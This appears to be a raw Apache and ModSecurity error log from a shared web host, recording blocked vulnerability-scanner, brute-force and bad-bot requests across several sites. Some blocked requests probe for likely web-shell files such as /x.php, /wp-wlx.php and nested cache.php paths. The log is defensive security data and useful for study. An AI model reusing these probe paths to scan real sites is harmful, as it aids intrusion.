https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:28.727673 2026] [access_compat:error] [pid 715691:tid 715753] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:25:28.942808 2026] [access_compat:error] [pid 756778:tid 756875] [remote 57.141.14.89:22258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:28.943439 2026] [access_compat:error] [pid 756778:tid 756875] [remote 57.141.14.89:22258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:28.964493 2026] [security2:error] [pid 715691:tid 715734] [remote 57.141.14.108:55705] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30-LV-dFiaX9AtWiQ3AQABRRg"], referer: https://nelsonfarmstn.com/product/country-oak/?add_to_wishlist=389&_wpnonce=dacad5c21f&add-to-cart=1255 [Sat Jun 13 18:25:29.162776 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.69:58586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:29.163216 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.69:58586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:29.223305 2026] [security2:error] [pid 756778:tid 757017] [client 185.199.157.18:62839] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/x.php"] [unique_id "ai30-ZPtHOFP9IG6xxUs2gAAAPI"] [Sat Jun 13 18:25:29.246729 2026] [access_compat:error] [pid 715691:tid 715829] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:29.247187 2026] [access_compat:error] [pid 715691:tid 715829] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:25:29.299411 2026] [security2:error] [pid 756778:tid 757029] [client 77.68.9.24:61776] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.9.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nels.pikarthouse.com"] [uri "/cgi-bin/cgi-bin/cgi-bin/cgi-bin/cache.php"] [unique_id "ai30-ZPtHOFP9IG6xxUs3gAAAP4"], referer: www.google.com [Sat Jun 13 18:25:29.445399 2026] [access_compat:error] [pid 715691:tid 715799] [remote 57.141.14.112:37522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:29.445847 2026] [access_compat:error] [pid 715691:tid 715799] [remote 57.141.14.112:37522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:29.670384 2026] [security2:error] [pid 756778:tid 756890] [remote 17.22.245.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30-ZPtHOFP9IG6xxUs5wABA28"] [Sat Jun 13 18:25:29.788635 2026] [access_compat:error] [pid 715691:tid 715782] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:25:29.788976 2026] [access_compat:error] [pid 715691:tid 715782] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:25:29.807237 2026] [security2:error] [pid 756778:tid 756916] [client 63.178.84.147:7414] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "cityofmarional.com"] [uri "/index.php"] [unique_id "ai30-ZPtHOFP9IG6xxUs5AAAAI0"], referer: https://cityofmarional.com [Sat Jun 13 18:25:29.814959 2026] [access_compat:error] [pid 756778:tid 756893] [remote 57.141.14.92:54760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:29.815385 2026] [access_compat:error] [pid 756778:tid 756893] [remote 57.141.14.92:54760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:30.008662 2026] [security2:error] [pid 756778:tid 756962] [client 77.68.9.24:63222] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.9.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nels.pikarthouse.com"] [uri "/images/images/images/images/images/images/images/images/cache.php"] [unique_id "ai30-pPtHOFP9IG6xxUs9AAAALs"], referer: www.google.com [Sat Jun 13 18:25:30.227489 2026] [access_compat:error] [pid 756778:tid 756898] [remote 57.141.14.29:56849] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:30.227936 2026] [access_compat:error] [pid 756778:tid 756898] [remote 57.141.14.29:56849] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:30.319374 2026] [access_compat:error] [pid 715691:tid 715743] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:25:30.319696 2026] [access_compat:error] [pid 715691:tid 715743] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:25:30.415044 2026] [security2:error] [pid 756778:tid 756900] [remote 17.241.227.84:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 84.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30-pPtHOFP9IG6xxUs_QAAynk"] [Sat Jun 13 18:25:30.435079 2026] [access_compat:error] [pid 756778:tid 756901] [remote 57.141.14.8:48645] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:30.435552 2026] [access_compat:error] [pid 756778:tid 756901] [remote 57.141.14.8:48645] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:30.546582 2026] [security2:error] [pid 756778:tid 756990] [client 185.199.157.12:23301] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-file.php"] [unique_id "ai30-pPtHOFP9IG6xxUtAAAAANc"] [Sat Jun 13 18:25:30.641759 2026] [security2:error] [pid 715691:tid 715882] [client 210.217.96.217:55753] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30-rV-dFiaX9AtWiQ3NwAAATM"] [Sat Jun 13 18:25:30.641872 2026] [security2:error] [pid 715691:tid 715882] [client 210.217.96.217:55753] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30-rV-dFiaX9AtWiQ3NwAAATM"] [Sat Jun 13 18:25:30.742527 2026] [security2:error] [pid 756778:tid 757008] [client 77.68.9.24:64273] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.9.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nels.pikarthouse.com"] [uri "/images/images/images/images/images/images/images/cache.php"] [unique_id "ai30-pPtHOFP9IG6xxUtAwAAAOk"], referer: www.google.com [Sat Jun 13 18:25:30.845784 2026] [access_compat:error] [pid 715691:tid 715752] [remote 57.141.14.61:65426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:30.846226 2026] [access_compat:error] [pid 715691:tid 715752] [remote 57.141.14.61:65426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:30.950749 2026] [security2:error] [pid 756778:tid 757003] [client 184.154.139.41:34342] ModSecurity: Warning. Matched phrase "SiteLockSpider" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "cgreenphotography.com"] [uri "/wp-content/themes/Avada/style.css"] [unique_id "ai30-pPtHOFP9IG6xxUtBgAAAOQ"] [Sat Jun 13 18:25:31.002846 2026] [access_compat:error] [pid 715691:tid 715796] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvaWQ= [Sat Jun 13 18:25:31.003271 2026] [access_compat:error] [pid 715691:tid 715796] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvaWQ= [Sat Jun 13 18:25:31.045489 2026] [security2:error] [pid 715691:tid 715767] [remote 17.246.23.192:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 192.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30-7V-dFiaX9AtWiQ3RwABczg"] [Sat Jun 13 18:25:31.144798 2026] [security2:error] [pid 715691:tid 715895] [client 184.154.139.41:34446] ModSecurity: Warning. Matched phrase "SiteLockSpider" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "cgreenphotography.com"] [uri "/wp-content/plugins/creative-mail-by-constant-contact/readme.txt"] [unique_id "ai30-7V-dFiaX9AtWiQ3SwAAAUA"] [Sat Jun 13 18:25:31.151574 2026] [security2:error] [pid 756778:tid 757023] [client 185.199.157.13:53007] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-wlx.php"] [unique_id "ai30-5PtHOFP9IG6xxUtCgAAAPg"] [Sat Jun 13 18:25:31.277527 2026] [security2:error] [pid 715691:tid 715713] [remote 220.158.233.216:41964] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 216.233.158.220.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "digitise.africa"] [uri "/wp-login.php"] [unique_id "ai30-7V-dFiaX9AtWiQ3UAABVAM"] [Sat Jun 13 18:25:31.316924 2026] [access_compat:error] [pid 756778:tid 756784] [remote 57.141.14.19:50622] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:31.317360 2026] [access_compat:error] [pid 756778:tid 756784] [remote 57.141.14.19:50622] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:31.367300 2026] [access_compat:error] [pid 715691:tid 715739] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:25:31.367605 2026] [access_compat:error] [pid 715691:tid 715739] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:25:31.377291 2026]